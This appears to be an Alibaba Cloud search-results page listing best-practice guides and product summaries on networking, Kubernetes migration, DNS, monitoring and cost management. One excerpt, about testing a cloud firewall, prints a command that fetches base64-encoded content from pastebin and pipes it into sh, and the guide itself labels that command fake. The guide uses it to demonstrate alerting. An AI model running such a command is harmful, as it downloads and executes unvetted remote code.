中小企业基于SAG APP实现云上移动办公
1. 客户端一键接入上云，配置自动化 2. 城域内 Internet 就近接入，快速高效 3. 数据加密传输，满足安全性要求 4. 阿里云控制台统一配置管理
可以在自定义的一个或多个专有网络中快速构建 DNS 系 统，实 现 私 有 域 名 映 射 到 IP 资源地址。详见：https://www.aliyun.com/product/pvtz 文档版本：20211008 III 中小企业基于 SAG APP实现云上移动办公最佳实践 目录 目录 文档版本信息.I 法律声明.II 名词解释.III 目录.1 最佳实践概述.2 前置条件.3 1.环境构建.4 ...
自建K8S集群迁移ACK弹性裸金属集群
场景描述 在微服务化改造之后，企业在享受K8S带来应 用管理的便利的同时，存在硬件性能不足，本 地扩展性差，容器容灾难，K8S管理复杂等问 题。 解决问题 1.增强K8S扩展性：如何通过弹性裸金属服务 器的强劲硬件性能，实现云端资源急速扩 展，从容应对应用访问压力大的问题。 2.如何简化云端K8S运维：通过阿里云容器服 务（ACK）实现敏捷开发和部署落地，加速 企业业务迭代。 3.如何综合考虑迁移和容灾：如何整合云上和 云下容器资源实现遇到故障时可以通过健 康检查实现自动容灾。 4.如何不改应用上云：如何实现应用上云数据 库连接零修改。 5.数据库上云及回退：如何实现上云回退； 产品列表 ACK/ECS/SLB/NAT网关/弹性裸金属服务器/DTS/RDS MySQL
该服务允许您在自定义的一个或多个 VPC中将私 文档版本：20220128 IV 自建 K8S集群迁移 ACK弹性裸金属集群 前言 有域名映射到 IP地址。详见：https://www.aliyun.com/product/pvtz NAT网关：它是一款企业级的公网网关，提供 NAT代理（SNAT和 DNAT）、高达 10Gbps 级别转发能力以及跨可用区的容灾能力。详见：...
HTTPDNS
阿里云HTTPDNS是面向多端应用（移动端APP，PC客户端应用）的域名解析服务，具有域名防劫持、精准调度、实时解析生效的特性。域名解析请求直接发送至HTTPDNS服务器，绕过运营商Local DNS，避免域名劫持问题。直接获取客户端 IP ，基于客户端 IP 获得最精准的解析结果，让客户端就近接入业务节点。
域名劫持一直是困扰许多开发者，其表现即域名A应该返回的DNS解析结果IP1被恶意替换为了IP2，导致A的访问失败或访问了一个不安全的站点.使用HTTP（HTTPS）协议进行域名解析，域名解析请求直接发送至HTTPDNS服务器，绕过运营商Local DNS，避免域名劫持问题.由于运营商策略的多样性，其 Local DNS 的解析结果可能不是最近、...
来自：
云产品
Elasticsearch
阿里云检索分析服务 Elasticsearch 版是100%兼容开源的分布式检索、分析套件。提供ELK等开源全托管的产品服务能力。为结构化/非结构化数据提供低成本、高性能及可靠性的检索、分析平台级产品服务。具备读写分离、存算分离、弹性伸缩、智能化运维、免费的X-Pack高级商业特性等产品特性。
提供基于Kibana的可视化数据监控、展示、分析的工具能力，支持运维域、业务域等多场景数据的可视化监控与运营需求，同时提供远程账号体系集成对接、RBAC权限控制等企业级功能特性.云原生运管平台.提供全托管的 Elasticsearch 集群监控、弹性编排、生命周期管理、数据高可用、访问安全、数据安全、权限控制、安全审计等能力...
来自：
云产品
基于云拨测的网站用户体验监测最佳实践
网站作为电商行业开展业务的核心场景，不同区域、不同运营商、不同的终端用户，给网站体验带来了巨大的一致性挑战。打开卡顿、缓慢，甚至无响应，都会影响到运营效果、甚至出现负面影响。阿里云基于多年业务经验，为云上客户提供完整的电商网站运营期间的用户体验监测方案。
基于云拨测的网站用户体验监测 最佳实践 业务架构图 场景描述 网站作为电商行业开展业务的核心场景，不同区 域、不同运营商、不同的终端用户，给网站体验 带来了巨大的一致性挑战。打开卡顿、缓慢，甚 至无响应，都会影响到运营效果、甚至出现负面 影响。阿里云基于多年业务经验，为云上客户提 供完整的电商网站运营期间的...
基于ALB的统一流量调度和监控
企业在走向容器化过渡阶段，内部同时存在ECS应用和容器应用的情况，在多域名业务场景下，为了对应用的入方向流量进行统一的调度和监控，可通过ALB快速完成内部应用统一流量的管控。 典型场景 多域名转发到混合应用类型场景。 方案优势 1、 高弹性，高并发 2、 减少SLB+EIP数量 3、 一键WAF透明接入 4、 配置简单易上手 5、 统一流量运营分析
步骤3 通过浏览器验证两个域名是否能打开对应的应用。结果如下。文档版本：20210915 44 ALB配置 基于 ALB统一流量调度和监控 3.4.ALB日志接入 SLS 步骤1 在 ALB实例管理页面，单击对应的 ALB实例。步骤2 单击实例详情，在访问日志区域，单击创建。步骤3 单击选择已有 Project，选择 CADT创建的 albslsdata。文档版本：...
企业上云workshop
本文模拟了如下场景: 1. 线下 IDC 环境中部署了一个业务系统，业务是利用 wordpress 系统提供网站服务。 2. 本文详细介绍了如何将以上线下系统搬迁到云上， 包括如何在云上构建以上业务系统，如何迁移线下 系统到云上，如何割接。 3. 最后介绍了迁移上云后，如何部署安全系统。 解决问题 IDC 业务系统搬迁上云 云上构建业务系统 部署安全系统
这个域名已经在云防火墙的恶 意域名中，发现即告警。操作步骤 步骤1 通过 EIP，SSH登录到 ECS服务器。步骤2 执行以下命令（注：这条只是伪造举例的命令，不会执行成功）：curl https://pastebin.com/raw/sByq0rym (wget-q-O-https://pastebin.com/raw/tqJjUD9d)|base64-d|sh 文档版本：20200127 130 部署云防火墙 企业上云 ...
来自：
最佳实践
相关产品：专有网络 VPC,云服务器ECS,云数据库RDS MySQL 版,对象存储 OSS,负载均衡 SLB,弹性公网IP,文件存储NAS,云数据库PolarDB,Web应用防火墙,云防火墙,SSL证书,云速搭
云原生ACK应用管理实践
在Kubernetes平台中，一个应用可能包含多个Kubernetes子资源，在应用部署完成以后，可以从统一的视角展现整体应用的拓扑结构，同时对于持续部署等场景做到统一的版本管理与回滚。 场景描述 云原生时代的到来，用户在使用Kubernetes进行应用管理的同时也面临着一些痛点和挑战。 遇到的痛点： 应用编排文件如何管理。 应用包含哪些K8s资源，能否统一管理。 如何管理应用版本，能否快速回滚。 方案优势 多集群低成本容灾，日常迭代版本一键同发。 国内站、国际站多地域部署业务，版本同发。 应用维度查看/管理工作负载（相关资源聚合）。 同一套编排，多环境发布，大幅降低出错率。
云原生 ACK应用管理 最佳实践 业务架构 场景描述 在 Kubernetes平台中，一个应用可能包含多 个 Kubernetes子资源，在应用部署完成以后，可以从统一的视角展现整体应用的拓扑结构，同时对于持续部署等场景做到统一的版本管 理与回滚。方案优势 产品列表 1.多集群低成本容灾，日常迭代版本一键同 容器服务 Kubernetes版（ACK...
电商网站业务安全
场景描述 业务运营活动是电商行业开展业务必不可少的 手段，但大流量带来的系统可用性、优惠券带来 的“薅羊毛”等问题屡见不鲜，都会影响到运营 效果、甚至出现负面影响。阿里云基于集团电商 业务多年的运营经验，为云上客户提供完整的电 商网站运营期间的防护方案。 解决问题 1.保障业务运维活动系统稳定运行 2.防止“薅羊毛” 3.运营优惠给到真实的客户 产品列表 爬虫风险管理 风险识别 DDoS防护包
进行本章 之前，需要准备一个已经通过管局认证的域名，这里准备的是 magento.lustre.site的 域名。1.1.开通产品及服务 步骤1 登录阿里云官网（www.aliyun.com），单击右上角的控制台。步骤2 单击左上角的图标。步骤3 在弹出的页面中，输入产品名称，如 ECS，单击对应的链接。文档版本：20210806 1 企业上云实践 电商网站...
容器跨可用区高可用
场景描述 本实践适合使用容器服务ACK结合阿里云上的 其他产品构建跨可用区高可用应用的场景。在一 开始创建容器服务ACK的时候就把容器集群建 成多个可用区的架构，某可用区挂掉后，不影响 应用和集群的高可用。容器服务ACK通常配合 高可用SLB，RDS，Redis等产品，实现跨可用 区高可用。 解决问题 1.利用容器服务ACK搭建跨可用区高可用 的应用 2.容器服务ACK结合SLB，RDS，REDIS构 建高可用应用 产品列表 容器服务ACK RDSforMysql版 云数据库Redis版 文件存储NAS
在 一开始创建容器服务 ACK的时候就把容器集群 建成多个可用区的架构，某可用区挂掉后，不影 响应用和集群的高可用。容器服务 ACK通常配 合高可用 SLB，RDS，Redis等产品，实现跨可 用区高可用。解决问题 利用容器服务 ACK搭建跨可用区高可用 产品列表 的应用 容器服务 ACK 容器服务 ACK结合 SLB，RDS，REDIS构 RDS for ...
云速搭部署 ALB 实现负载分发
本实践通过云速搭构建一个基于 http(s)的负载均衡业务架构，实现终端浏览器发起http(s)请求后，经过 ALB 监听配置的转发规则，分别负载分担到后端 ECS 服务器、CLB 和 ACK 集群。
选择资源丰富、离用户近的区 VPC名 vpc-HZ-CADT-域保障项目顺利实施。DEMO 网络规划留足可用 IP数即可。网段 172.10.0.0/16 虚拟交换机 状态 新购（根据实际情况 选择新购或已保有，本最佳实践新购交换 机）vswitch名 vswitch_H 可用区 华东 1 可用区 H IPv4网段 172.10.0.0/24 vswitch名 vswitch_I 文档版本：20211028 5 ...
容器Swarm集群向ACK集群灰度迁移
场景描述 随着K8S生态的完善，越来越多的客户需要从 Swarm集群迁移向ACK集群 解决问题 1.迁移过程中维持业务的延续性 2.迁移过程业务高可用 3.迁移过程可灰度 4.迁移过程可回滚 5.迁移进度可把控 产品列表 专有网络VPC 云数据库RDSMySQL 容器服务ACK 云服务器ECS
文档版本：20190401 36 容器 Swarm集群向 ACK集群灰度迁移最佳实践 DNS全局流量管理 8.Kubernetes集群创建应用 步骤1 进入容器服务-Kubernetes控制台页面，之前创建了一个名为 magento-k8s集群。步骤2 创建 magento应用。应用基本信息。步骤3 容器配置。步骤4 高级配置。文档版本：20190401 37 容器 Swarm集群向 ACK集群...
EMR HBase on OSS存算分离集群快速恢复
OSS-HDFS服务（JindoFS服务）是一款云原生数据湖存储产品。基于统一的元数据管理能力，在完全兼容HDFS文件系统接口的同时，提供充分的POSIX能力支持，能更好地满足大数据和AI等领域的数据湖计算场景。
详细配置说明请见表下内容 可用区 华北 2 可用区 K 高可用 否 Master实例 数量：1个 机型：ecs.c6.2xlarge(8c 16g)系统盘：1个 120G ESSD系统盘 数据盘：1个 80G ESSD 数据盘 文档版本：20220915 9 EMR HBase on OSS存算分离集群快速恢复 创建 EMR集群 Core实例 数量：2个 机型：ecs.c6.2xlarge(8c 16g)系统盘：2个 120G ...
多账号下企业分账
场景描述 财务分账，是根据企业的成本中心，将云上资源的成本划分到给各个项目组/业务部门；助力企业快速梳理云上成本结构，搭建复杂组织架构下的成本关系，便捷地进行财务和云上成本的管理。 大型企业或集团公司，由于组织架构复杂，业务复杂等原因，通常拥有多个阿里云账号来管理规模庞大的云上资源。针对云上资源，如何建立有效的分账方案，是财务关注的重要问题。 解决问题 解决CIO/CTO最关心的云上IT治理，IT成本核算等问题。 弄清楚企业内各部门成本及云上IT成本结构。 让CIO/CTO准确地掌握云上资源成本情况，清楚业务与成本的关系。 让采购/运维轻松搞定每月的IT成本汇报。
大型企业或集团公司，由于组织架构复杂，业务复杂等原因，通常拥有多个阿里云账 号来管理规模庞大的云上资源。多账号的环境，又进一步加大了分账的难度。本最佳实践通过以下模拟场景案例，来介绍如何合理使用阿里云现有产品的能力，在 多账号的环境中根据财务需求进行分账。模拟案例场景描述：文档版本：20210128 3 多账号...
基于DDH+MyBase降本合规
出版、金融、保险等传统行业一方面希望能借助云计算以更好地适应业务发展需求（政策上云），另一方面出于对降低单实例部署成本（CPU 超分超配）以及满足更严格合规和监管要求的考虑，希望能对云上资源有更多的自主控制权（监管合规）。从业务系统架构云上部署的角度，基于专有宿主机DDH 和云数据库专属集群MyBase 的解决方案，可以很好地满足这两方面的需求。 解决问题： 1. 国家政策上云趋势和需求 2. 更严格的云上安全合规要求 3. 对云上资源有更灵活的管控权 4. 有效降低企业上云的整体拥有成本（TCO） 方案优势： 1、单租户隔离 DDH和 MyBase都可以提供宿主机级别物理隔离，可以独占资源，可以开放更多接口 , 同时杜绝 多租户间 干扰 。 2、安全合规：在完备的隔离基础之上，开放更多数据库权限和 OS权限 。 3、资源灵活部署和调度 创建 ECS实例、从共享宿主机迁移 ECS实例至专有宿主机或在专有宿主机之间迁移 ECS实例时，若您不指定专有宿主机，系统将自动帮您选择专有宿主机部署实例。 针对于初始部署数据库实例时，提 供紧凑型和均衡型两种方式将数据库实例分不到不同的主机上。 4、超配 降本 DDH和 MyBase组合的方式可以实现资源自定义 CPU内存 配比以及CPU超分 ，可以降低单 ECS实例以及云数据库实例的部署成本。
考虑到负载均衡以及高可用设计，我们把 这台已部署的 ECS实例做成自定义镜像，并通过镜像部署多个 ECS实例来接入前段 SLB统一暴露服务入口。步骤1 返回到 ECS控制台，单击实例 ID进入实例详情页，单击镜像 ID右侧的创建自定义镜 像。步骤2 输入自定义镜像名称以及描述信息，然后单击创建。需要注意上方黄底背景内容，请 ...
低成本跨境文件传输
场景描述 1.跨境对象存储数据传输需求。 2.对跨境传输成本控制严苛。 3.能接受一定程度网络抖动带来的文件同步 延迟。 4.系统需要有足够的弹性和扩展性应对大规 模文件的写入。 方案优势/解决问题 1.运维低成本：开发人员关注代码逻辑即可； 2.网络成本低：相比CEN高速通道的方式网 络成本降低； 3.同步服务部署成本低：文件发生变化触发函 数计算任务，按量触发，不用准备ECS； 4.弹性高效：一个文件同步触发一个函数工作 流任务，充分利用资源高效同步。 产品列表 专用网络VPC 云服务器ECS 弹性公网IP 函数计算 对象存储OSS 函数工作流
ￚ 第一个函数 initMultipartUpload 开始分片上传，并将文件分成 group，每个 group 包含多个分片。ￚ 第二个函数 uploadParts 处理一个 group 里的多个分片，采用多线程复制分 片。该函数的多个实例会并行处理所有 group。ￚ 第三个函数 completeMultipartUpload 完成分片上传。其中文件大小阈值可以根据具体情况配置，...
全站加速DCDN
阿里云全站加速旨在提升动静态资源混合站点的访问体验，支持静态资源边缘缓存，动态内容最优路由回源传输，同时满足整体站点的全网访问速度及稳定性需求。全站加速构建于阿里云CDN平台之上，适用于动静混合型、纯动态型站点或应用的内容分发加速服务。
更多产品与服务.提供稳定、低延时的4/7层全球加速网络.阿里云在全球拥有3200+节点，全网带宽输出能力180Tbps，支持亿级QPS并发，提供稳定的加速服务.智能识别动态和静态内容，动态内容基于智能选路技术选择最优回源线路传输，适用于动静混合型、纯动态型站点或应用的内容分发加速服务.动静混合加速.使用TCP/UDP为企业构建...
来自：
云产品
- 产品推荐
- 这些文档可能帮助您